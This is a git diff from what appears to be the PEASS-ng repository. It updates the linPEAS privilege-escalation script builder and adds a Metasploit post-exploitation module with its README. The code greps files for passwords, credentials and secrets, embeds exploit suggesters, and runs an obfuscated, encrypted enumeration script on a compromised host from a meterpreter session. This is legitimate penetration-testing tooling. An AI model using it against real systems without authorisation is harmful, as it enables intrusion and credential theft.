ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
fi
|
||||
printf "%s\n" "$ppicf" | while read f; do
|
||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
|
||||
echo "$ITALIC $f$NC"
|
||||
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
File diff suppressed because one or more lines are too long
@@ -4,6 +4,7 @@ class FileRecord:
|
||||
def __init__(self,
|
||||
regex: str,
|
||||
bad_regex: str=DEFAULTS["bad_regex"],
|
||||
very_bad_regex: str=DEFAULTS["very_bad_regex"],
|
||||
check_extra_path: str =DEFAULTS["check_extra_path"],
|
||||
files: dict={},
|
||||
good_regex: str=DEFAULTS["good_regex"],
|
||||
@@ -19,6 +20,7 @@ class FileRecord:
|
||||
|
||||
self.regex = regex
|
||||
self.bad_regex = bad_regex
|
||||
self.very_bad_regex = very_bad_regex
|
||||
self.check_extra_path = check_extra_path
|
||||
self.files = [FileRecord(regex=fr["name"],**fr["value"]) for fr in files]
|
||||
self.good_regex = good_regex
|
||||
|
||||
37
linPEAS/builder/src/linpeasBaseBuilder.py
Normal file
37
linPEAS/builder/src/linpeasBaseBuilder.py
Normal file
@@ -0,0 +1,37 @@
|
||||
from .yamlGlobals import (
|
||||
LINPEAS_PARTS,
|
||||
LINPEAS_BASE_PATH,
|
||||
TEMPORARY_LINPEAS_BASE_PATH,
|
||||
PEAS_CHECKS_MARKUP
|
||||
)
|
||||
|
||||
class LinpeasBaseBuilder:
|
||||
def __init__(self):
|
||||
with open(LINPEAS_BASE_PATH, 'r') as file:
|
||||
self.linpeas_base = file.read()
|
||||
|
||||
def build(self):
|
||||
print("[+] Building temporary linpeas_base.sh...")
|
||||
checks = []
|
||||
for part in LINPEAS_PARTS:
|
||||
name = part["name"]
|
||||
assert name, f"Name not found in {part}"
|
||||
name_check = part["name_check"]
|
||||
assert name_check, f"Name not found in {name_check}"
|
||||
file_path = part["file_path"]
|
||||
assert file_path, f"Name not found in {file_path}"
|
||||
|
||||
with open(file_path, 'r') as file:
|
||||
linpeas_part = file.read()
|
||||
|
||||
checks.append(name_check)
|
||||
self.linpeas_base += f"\nif echo $CHECKS | grep -q {name_check}; then\n"
|
||||
self.linpeas_base += f'print_title "{name}"\n'
|
||||
self.linpeas_base += linpeas_part
|
||||
self.linpeas_base += f"\nfi\necho ''\necho ''\n"
|
||||
self.linpeas_base += 'if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi\n'
|
||||
|
||||
self.linpeas_base = self.linpeas_base.replace(PEAS_CHECKS_MARKUP, ",".join(checks))
|
||||
|
||||
with open(TEMPORARY_LINPEAS_BASE_PATH, "w") as f:
|
||||
f.write(self.linpeas_base)
|
||||
@@ -1,13 +1,16 @@
|
||||
import re
|
||||
import requests
|
||||
import base64
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
from .peasLoaded import PEASLoaded
|
||||
from .peassRecord import PEASRecord
|
||||
from .fileRecord import FileRecord
|
||||
from .yamlGlobals import (
|
||||
LINPEAS_BASE_PATH,
|
||||
TEMPORARY_LINPEAS_BASE_PATH,
|
||||
PEAS_FINDS_MARKUP,
|
||||
PEAS_STORAGES_MARKUP,
|
||||
PEAS_FINDS_CUSTOM_MARKUP,
|
||||
PEAS_STORAGES_MARKUP,
|
||||
INT_HIDDEN_FILES_MARKUP,
|
||||
ROOT_FOLDER,
|
||||
@@ -24,7 +27,14 @@ from .yamlGlobals import (
|
||||
SUDOVB1_MARKUP,
|
||||
SUDOVB2_MARKUP,
|
||||
CAP_SETUID_MARKUP,
|
||||
CAP_SETGID_MARKUP
|
||||
CAP_SETGID_MARKUP,
|
||||
LES_MARKUP,
|
||||
LES2_MARKUP,
|
||||
REGEXES_LOADED,
|
||||
REGEXES_MARKUP,
|
||||
FAT_LINPEAS_AMICONTAINED_MARKUP,
|
||||
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP,
|
||||
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP
|
||||
)
|
||||
|
||||
|
||||
@@ -35,7 +45,7 @@ class LinpeasBuilder:
|
||||
self.bash_find_f_vars, self.bash_find_d_vars = set(), set()
|
||||
self.bash_storages = set()
|
||||
self.__get_files_to_search()
|
||||
with open(LINPEAS_BASE_PATH, 'r') as file:
|
||||
with open(TEMPORARY_LINPEAS_BASE_PATH, 'r') as file:
|
||||
self.linpeas_sh = file.read()
|
||||
|
||||
def build(self):
|
||||
@@ -44,8 +54,9 @@ class LinpeasBuilder:
|
||||
self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "")
|
||||
|
||||
print("[+] Building finds...")
|
||||
find_calls = self.__generate_finds()
|
||||
find_calls, find_custom_calls = self.__generate_finds()
|
||||
self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ")
|
||||
self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, " ")
|
||||
|
||||
print("[+] Building storages...")
|
||||
storage_vars = self.__generate_storages()
|
||||
@@ -75,6 +86,28 @@ class LinpeasBuilder:
|
||||
|
||||
self.__replace_mark(EXTRASECTIONS_MARKUP, list(""), "") #Delete extra markup
|
||||
|
||||
print("[+] Building regexes searches...")
|
||||
section = self.__generate_regexes_search()
|
||||
self.__replace_mark(REGEXES_MARKUP, list(section), "")
|
||||
|
||||
|
||||
print("[+] Building linux exploit suggesters...")
|
||||
les_b64, les2_b64 = self.__get_linux_exploit_suggesters()
|
||||
assert len(les_b64) > 100
|
||||
assert len(les2_b64) > 100
|
||||
self.__replace_mark(LES_MARKUP, list(les_b64), "")
|
||||
self.__replace_mark(LES2_MARKUP, list(les2_b64), "")
|
||||
|
||||
print("[+] Downloading Fat Linpeas binaries...")
|
||||
aimcont_b64 = self.__get_bin("https://github.com/genuinetools/amicontained/releases/latest/download/amicontained-linux-amd64")
|
||||
self.__replace_mark(FAT_LINPEAS_AMICONTAINED_MARKUP, list(aimcont_b64), "")
|
||||
|
||||
gitleaks_b64 = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_linux_x64.tar.gz", tar_gz="gitleaks")
|
||||
self.__replace_mark(FAT_LINPEAS_GITLEAKS_LINUX_MARKUP, list(gitleaks_b64), "")
|
||||
|
||||
gitleaks_b64_macos = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_darwin_x64.tar.gz", tar_gz="gitleaks")
|
||||
self.__replace_mark(FAT_LINPEAS_GITLEAKS_MACOS_MARKUP, list(gitleaks_b64_macos), "")
|
||||
|
||||
print("[+] Building GTFOBins lists...")
|
||||
suidVB, sudoVB, capsVB = self.__get_gtfobins_lists()
|
||||
assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}"
|
||||
@@ -96,7 +129,6 @@ class LinpeasBuilder:
|
||||
#Check for empty seds
|
||||
assert 'sed -${E} "s,,' not in self.linpeas_sh
|
||||
|
||||
|
||||
def __get_peass_marks(self):
|
||||
return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh)
|
||||
|
||||
@@ -128,6 +160,11 @@ class LinpeasBuilder:
|
||||
def __generate_finds(self) -> list:
|
||||
"""Given the regexes to search on each root folder, generate the find command"""
|
||||
finds = []
|
||||
|
||||
finds_custom = []
|
||||
all_folder_regexes = []
|
||||
all_file_regexes = []
|
||||
|
||||
for type,searches in self.dict_to_search.items():
|
||||
for r,regexes in searches.items():
|
||||
if regexes:
|
||||
@@ -135,25 +172,41 @@ class LinpeasBuilder:
|
||||
|
||||
if type == "d":
|
||||
find_line += "-type d "
|
||||
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').upper()}"
|
||||
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||
self.bash_find_d_vars.add(bash_find_var)
|
||||
all_folder_regexes += regexes
|
||||
else:
|
||||
bash_find_var = f"FIND_{r[1:].replace('.','').upper()}"
|
||||
bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||
self.bash_find_f_vars.add(bash_find_var)
|
||||
all_file_regexes += regexes
|
||||
|
||||
find_line += '-name \\"' + '\\" -o -name \\"'.join(regexes) + '\\"'
|
||||
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
|
||||
find_line = f"{bash_find_var}={find_line}"
|
||||
finds.append(find_line)
|
||||
|
||||
return finds
|
||||
# Buid folder and files finds when searching in a custom folder
|
||||
all_folder_regexes = list(set(all_folder_regexes))
|
||||
find_line = '$SEARCH_IN_FOLDER -type d -name \\"' + '\\" -o -name \\"'.join(all_folder_regexes) + '\\"'
|
||||
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
|
||||
find_line = f"FIND_DIR_CUSTOM={find_line}"
|
||||
finds_custom.append(find_line)
|
||||
|
||||
all_file_regexes = list(set(all_file_regexes))
|
||||
find_line = '$SEARCH_IN_FOLDER -name \\"' + '\\" -o -name \\"'.join(all_file_regexes) + '\\"'
|
||||
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
|
||||
find_line = f"FIND_CUSTOM={find_line}"
|
||||
finds_custom.append(find_line)
|
||||
|
||||
return finds, finds_custom
|
||||
|
||||
def __generate_storages(self) -> list:
|
||||
"""Generate the storages to save the results per entry"""
|
||||
storages = []
|
||||
all_f_finds = "$" + "\\n$".join(self.bash_find_f_vars)
|
||||
all_d_finds = "$" + "\\n$".join(self.bash_find_d_vars)
|
||||
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars))
|
||||
custom_storages = ["FIND_CUSTOM", "FIND_DIR_CUSTOM"]
|
||||
all_f_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + custom_storages)
|
||||
all_d_finds = "$" + "\\n$".join(list(self.bash_find_d_vars) + custom_storages)
|
||||
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars) + custom_storages)
|
||||
|
||||
for precord in self.ploaded.peasrecords:
|
||||
bash_storage_var = f"PSTORAGE_{precord.bash_name}"
|
||||
@@ -197,7 +250,8 @@ class LinpeasBuilder:
|
||||
|
||||
for precord in self.ploaded.peasrecords:
|
||||
if precord.auto_check:
|
||||
section = f' print_2title "Analyzing {precord.name.replace("_"," ")} Files (limit 70)"\n'
|
||||
section = f'if [ "$PSTORAGE_{precord.bash_name}" ] || [ "$DEBUG" ]; then\n'
|
||||
section += f' print_2title "Analyzing {precord.name.replace("_"," ")} Files (limit 70)"\n'
|
||||
|
||||
for exec_line in precord.exec:
|
||||
if exec_line:
|
||||
@@ -206,6 +260,8 @@ class LinpeasBuilder:
|
||||
for frecord in precord.filerecords:
|
||||
section += " " + self.__construct_file_line(precord, frecord) + "\n"
|
||||
|
||||
section += "fi\n"
|
||||
|
||||
sections[precord.name] = section
|
||||
|
||||
return sections
|
||||
@@ -217,8 +273,8 @@ class LinpeasBuilder:
|
||||
|
||||
analise_line = ""
|
||||
if init:
|
||||
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then echo_not_found "'+frecord.regex+'"; fi; '
|
||||
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
||||
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
|
||||
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
||||
|
||||
#If just list, just list the file/directory
|
||||
if frecord.just_list_file:
|
||||
@@ -233,6 +289,7 @@ class LinpeasBuilder:
|
||||
grep_only_bad_lines = f' | grep -E "{frecord.bad_regex}"' if frecord.bad_regex else ""
|
||||
grep_remove_regex = f' | grep -Ev "{frecord.remove_regex}"' if frecord.remove_regex else ""
|
||||
sed_bad_regex = ' | sed -${E} "s,'+frecord.bad_regex+',${SED_RED},g"' if frecord.bad_regex else ""
|
||||
sed_very_bad_regex = ' | sed -${E} "s,'+frecord.very_bad_regex+',${SED_RED_YELLOW},g"' if frecord.very_bad_regex else ""
|
||||
sed_good_regex = ' | sed -${E} "s,'+frecord.good_regex+',${SED_GOOD},g"' if frecord.good_regex else ""
|
||||
|
||||
if init:
|
||||
@@ -255,6 +312,9 @@ class LinpeasBuilder:
|
||||
if sed_bad_regex:
|
||||
analise_line += sed_bad_regex
|
||||
|
||||
if sed_very_bad_regex:
|
||||
analise_line += sed_very_bad_regex
|
||||
|
||||
if sed_good_regex:
|
||||
analise_line += sed_good_regex
|
||||
|
||||
@@ -266,14 +326,34 @@ class LinpeasBuilder:
|
||||
for ffrecord in frecord.files:
|
||||
ff_real_regex = ffrecord.regex[1:] if ffrecord.regex.startswith("*") and ffrecord.regex != "*" else ffrecord.regex
|
||||
ff_real_regex = ff_real_regex.replace("*",".*")
|
||||
analise_line += 'for ff in $(find "$f" -name "'+ffrecord.regex+'"); do ls -ld "$ff" | sed -${E} "s,'+ff_real_regex+',${SED_RED},"; ' + self.__construct_file_line(precord, ffrecord, init=False)
|
||||
#analise_line += 'for ff in $(find "$f" -name "'+ffrecord.regex+'"); do ls -ld "$ff" | sed -${E} "s,'+ff_real_regex+',${SED_RED},"; ' + self.__construct_file_line(precord, ffrecord, init=False)
|
||||
analise_line += 'find "$f" -name "'+ffrecord.regex+'" | while read ff; do ls -ld "$ff" | sed -${E} "s,'+ff_real_regex+',${SED_RED},"; ' + self.__construct_file_line(precord, ffrecord, init=False)
|
||||
|
||||
analise_line += 'done; echo "";'
|
||||
return analise_line
|
||||
|
||||
|
||||
def __get_linux_exploit_suggesters(self) -> tuple:
|
||||
r1 = requests.get("https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh")
|
||||
r2 = requests.get("https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl")
|
||||
return(base64.b64encode(bytes(r1.text, 'utf-8')).decode("utf-8"), base64.b64encode(bytes(r2.text, 'utf-8')).decode("utf-8"))
|
||||
|
||||
def __get_bin(self, url, tar_gz="") -> str:
|
||||
os.system(f"wget -q '{url}' -O /tmp/bin_builder")
|
||||
if tar_gz:
|
||||
os.system(f"cd /tmp; tar -xvzf /tmp/bin_builder; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder")
|
||||
os.system("base64 /tmp/bin_builder | tr -d '\n' > /tmp/binb64; rm /tmp/bin_builder")
|
||||
|
||||
b64bin = ""
|
||||
with open("/tmp/binb64", "r") as f:
|
||||
b64bin = f.read()
|
||||
|
||||
os.system("rm /tmp/binb64")
|
||||
return b64bin
|
||||
|
||||
def __get_gtfobins_lists(self) -> tuple:
|
||||
r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins")
|
||||
bins = re.findall(r'/GTFOBins/GTFOBins.github.io/blob/master/_gtfobins/([\w_ \-]+).md', r.text)
|
||||
bins = re.findall(r'_gtfobins/([\w_ \-]+).md', r.text)
|
||||
|
||||
sudoVB = []
|
||||
suidVB = []
|
||||
@@ -290,12 +370,47 @@ class LinpeasBuilder:
|
||||
|
||||
return (suidVB, sudoVB, capsVB)
|
||||
|
||||
def __generate_regexes_search(self) -> str:
|
||||
regexes = REGEXES_LOADED["regular_expresions"]
|
||||
|
||||
regexes_search_section = ""
|
||||
|
||||
for values in regexes:
|
||||
section_name = values["name"]
|
||||
regexes_search_section += f' print_2title "Searching {section_name}"\n'
|
||||
|
||||
for entry in values["regexes"]:
|
||||
name = entry["name"]
|
||||
caseinsensitive = entry.get("caseinsensitive", False)
|
||||
regex = entry["regex"]
|
||||
regex = regex.replace('"', '\\"').strip()
|
||||
falsePositives = entry.get("falsePositives", False)
|
||||
|
||||
if falsePositives:
|
||||
continue
|
||||
|
||||
regexes_search_section += f" search_for_regex \"{name}\" \"{regex}\" {'1' if caseinsensitive else ''}\n"
|
||||
|
||||
regexes_search_section += " echo ''\n\n"
|
||||
|
||||
return regexes_search_section
|
||||
|
||||
|
||||
def __replace_mark(self, mark: str, find_calls: list, join_char: str):
|
||||
"""Substitude the markup with the actual code"""
|
||||
|
||||
self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char is't needed
|
||||
|
||||
def write_linpeas(self, path):
|
||||
def write_linpeas(self, path, rm_startswith=""):
|
||||
"""Write on disk the final linpeas"""
|
||||
|
||||
with open(path, "w") as f:
|
||||
f.write(self.linpeas_sh)
|
||||
if not rm_startswith:
|
||||
f.write(self.linpeas_sh)
|
||||
else:
|
||||
tmp_linpeas = ""
|
||||
for line in self.linpeas_sh.splitlines():
|
||||
if not line.startswith(rm_startswith):
|
||||
tmp_linpeas += line + "\n"
|
||||
f.write(tmp_linpeas)
|
||||
|
||||
|
||||
@@ -1,15 +1,85 @@
|
||||
import os
|
||||
import yaml
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||
target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py'
|
||||
os.system(target_file)
|
||||
|
||||
CURRENT_DIR = os.path.dirname(os.path.realpath(__file__))
|
||||
LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh"
|
||||
|
||||
LINPEAS_BASE_PARTS = CURRENT_DIR + "/../linpeas_parts"
|
||||
LINPEAS_PARTS = [
|
||||
{
|
||||
"name": "System Information",
|
||||
"name_check": "system_information",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/1_system_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Container",
|
||||
"name_check": "container",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/2_container.sh"
|
||||
},
|
||||
{
|
||||
"name": "Cloud",
|
||||
"name_check": "cloud",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/3_cloud.sh"
|
||||
},
|
||||
{
|
||||
"name": "Processes, Crons, Timers, Services and Sockets",
|
||||
"name_check": "procs_crons_timers_srvcs_sockets",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/4_procs_crons_timers_srvcs_sockets.sh"
|
||||
},
|
||||
{
|
||||
"name": "Network Information",
|
||||
"name_check": "network_information",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/5_network_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Users Information",
|
||||
"name_check": "users_information",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/6_users_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Software Information",
|
||||
"name_check": "software_information",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Files with Interesting Permissions",
|
||||
"name_check": "interesting_perms_files",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files.sh"
|
||||
},
|
||||
{
|
||||
"name": "Other Interesting Files",
|
||||
"name_check": "interesting_files",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/9_interesting_files.sh"
|
||||
},
|
||||
{
|
||||
"name": "API Keys Regex",
|
||||
"name_check": "api_keys_regex",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex.sh"
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
LINPEAS_BASE_PATH = LINPEAS_BASE_PARTS + "/linpeas_base.sh"
|
||||
TEMPORARY_LINPEAS_BASE_PATH = CURRENT_DIR + "/../linpeas_base.sh"
|
||||
FINAL_FAT_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas_fat.sh"
|
||||
FINAL_LINPEAS_PATH = CURRENT_DIR + "/../../" + "linpeas.sh"
|
||||
YAML_NAME = "sensitive_files.yaml"
|
||||
YAML_REGEXES = "regexes.yaml"
|
||||
FILES_YAML = CURRENT_DIR + "/../../../build_lists/" + YAML_NAME
|
||||
REGEXES_YAML = CURRENT_DIR + "/../../../build_lists/" + YAML_REGEXES
|
||||
|
||||
|
||||
with open(FILES_YAML, 'r') as file:
|
||||
YAML_LOADED = yaml.load(file, Loader=yaml.FullLoader)
|
||||
|
||||
with open(REGEXES_YAML, 'r') as file:
|
||||
REGEXES_LOADED = yaml.load(file, Loader=yaml.FullLoader)
|
||||
|
||||
ROOT_FOLDER = YAML_LOADED["root_folders"]
|
||||
DEFAULTS = YAML_LOADED["defaults"]
|
||||
COMMON_FILE_FOLDERS = YAML_LOADED["common_file_folders"]
|
||||
@@ -18,10 +88,13 @@ assert all(f in ROOT_FOLDER for f in COMMON_FILE_FOLDERS)
|
||||
assert all(f in ROOT_FOLDER for f in COMMON_DIR_FOLDERS)
|
||||
|
||||
|
||||
PEAS_CHECKS_MARKUP = YAML_LOADED["peas_checks"]
|
||||
PEAS_FINDS_MARKUP = YAML_LOADED["peas_finds_markup"]
|
||||
PEAS_FINDS_CUSTOM_MARKUP = YAML_LOADED["peas_finds_custom_markup"]
|
||||
FIND_LINE_MARKUP = YAML_LOADED["find_line_markup"]
|
||||
FIND_TEMPLATE = YAML_LOADED["find_template"]
|
||||
|
||||
REGEXES_MARKUP = YAML_LOADED["peas_regexes_markup"]
|
||||
PEAS_STORAGES_MARKUP = YAML_LOADED["peas_storages_markup"]
|
||||
STORAGE_LINE_MARKUP = YAML_LOADED["storage_line_markup"]
|
||||
STORAGE_LINE_EXTRA_MARKUP = YAML_LOADED["storage_line_extra_markup"]
|
||||
@@ -40,3 +113,11 @@ SUDOVB1_MARKUP = YAML_LOADED["sudoVB1_markup"]
|
||||
SUDOVB2_MARKUP = YAML_LOADED["sudoVB2_markup"]
|
||||
CAP_SETUID_MARKUP = YAML_LOADED["cap_setuid_markup"]
|
||||
CAP_SETGID_MARKUP = YAML_LOADED["cap_setgid_markup"]
|
||||
|
||||
LES_MARKUP = YAML_LOADED["les_markup"]
|
||||
LES2_MARKUP = YAML_LOADED["les2_markup"]
|
||||
|
||||
|
||||
FAT_LINPEAS_AMICONTAINED_MARKUP = YAML_LOADED["fat_linpeas_amicontained_markup"]
|
||||
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_linux_markup"]
|
||||
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP = YAML_LOADED["fat_linpeas_gitleaks_macos_markup"]
|
||||
3726
linPEAS/linpeas.sh
3726
linPEAS/linpeas.sh
File diff suppressed because one or more lines are too long
74
metasploit/README.md
Normal file
74
metasploit/README.md
Normal file
@@ -0,0 +1,74 @@
|
||||
# PEASS Post Exploitation Module for Metasploit
|
||||
|
||||
You can use this module to **automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit**.
|
||||
|
||||
## Manual Installation
|
||||
Copy the `peass.rb` file to the path `modules/post/multi/gather/` inside the metasploit installation.
|
||||
|
||||
In Kali:
|
||||
```bash
|
||||
sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/
|
||||
# or
|
||||
sudo wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/metasploit/peass.rb -O /usr/share/metasploit-framework/modules/post/multi/gather/peass.rb
|
||||
```
|
||||
|
||||
Now you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**.
|
||||
|
||||
## How to use it
|
||||
```
|
||||
msf6 exploit(multi/handler) > use post/multi/gather/peass
|
||||
msf6 post(multi/gather/peass) > show info
|
||||
|
||||
Name: Multi PEASS launcher
|
||||
Module: post/multi/gather/peass
|
||||
Platform: BSD, Linux, OSX, Unix, Windows
|
||||
Arch:
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
Carlos Polop <@hacktricks_live>
|
||||
|
||||
Compatible session types:
|
||||
Meterpreter
|
||||
Shell
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PARAMETERS no Parameters to pass to the script
|
||||
PASSWORD um1xipfws17nkw1bi1ma3bh7tzt4mo3e no Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used
|
||||
.
|
||||
PEASS_URL https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/wi yes Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng
|
||||
nPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe /master/linPEAS/linpeas.sh
|
||||
SESSION yes The session to run this module on.
|
||||
SRVHOST no Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.
|
||||
SRVPORT 443 no Port to download the PEASS script from using http(s) (only used if SRVHOST)
|
||||
SSL true no Indicate if you want to communicate with https (only used if SRVHOST)
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TEMP_DIR no Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in
|
||||
Windows and "/tmp" in Unix.
|
||||
TIMEOUT 900 no Timeout of the execution of the PEASS script (15min by default)
|
||||
URIPATH /mvpo.txt no URI path to download the script from there (only used if SRVHOST)
|
||||
|
||||
Description:
|
||||
This module will launch the indicated PEASS (Privilege Escalation
|
||||
Awesome Script Suite) script to enumerate the system. You need to
|
||||
indicate the URL or local path to LinPEAS if you are in some Unix or
|
||||
to WinPEAS if you are in Windows. By default this script will upload
|
||||
the PEASS script to the host (encrypted and/or encoded) and will
|
||||
load it and execute it. You can configure this module to download
|
||||
the encrypted/encoded PEASS script from this metasploit instance via
|
||||
HTTP instead of uploading it.
|
||||
|
||||
References:
|
||||
https://github.com/carlospolop/PEASS-ng
|
||||
https://www.youtube.com/watch?v=9_fJv_weLU0
|
||||
```
|
||||
|
||||
The options are pretty self-explanatory.
|
||||
|
||||
Notice that **by default** the obfuscated PEASS script if going to be **uploaded** but if you **set SRVHOST it will be downloaded** via http(s) from the metasploit instance (**so nothing will be written in the disk of the compromised host**).
|
||||
|
||||
Notice that you can **set parametes** like `-h` in `PARAMETERS` and then linpeas/winpeas will just show the help (*just like when you execute them from a console*).
|
||||
|
||||
**IMPORTANT**: You won't see any output until the execution of the script is completed.
|
||||
354
metasploit/peass.rb
Normal file
354
metasploit/peass.rb
Normal file
@@ -0,0 +1,354 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'net/http'
|
||||
require 'base64'
|
||||
require 'openssl'
|
||||
require 'tempfile'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info(info,
|
||||
'Name' => 'Multi PEASS launcher',
|
||||
'Description' => %q{
|
||||
This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system.
|
||||
You need to indicate the URL or local path to LinPEAS if you are on any Unix-based system or to WinPEAS if you are on Windows.
|
||||
By default this script will upload the PEASS script to the host (encrypted and/or encoded) and will load, deobfuscate, and execute it.
|
||||
You can configure this module to download the encrypted/encoded PEASS script from this metasploit instance via HTTP instead of uploading it.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Carlos Polop <@hacktricks_live>'
|
||||
],
|
||||
'Platform' => %w{ bsd linux osx unix win },
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/carlospolop/PEASS-ng'],
|
||||
['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'],
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PEASS_URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"]),
|
||||
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
|
||||
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script inside the compromised machine. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
|
||||
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
|
||||
OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15*60]),
|
||||
OptString.new('SRVHOST', [false, 'Set your metasploit instance IP if you want to download the PEASS script from here via http(s) instead of uploading it.', '']),
|
||||
OptString.new('SRVPORT', [false, 'Port to download the PEASS script from using http(s) (only used if SRVHOST)', 443]),
|
||||
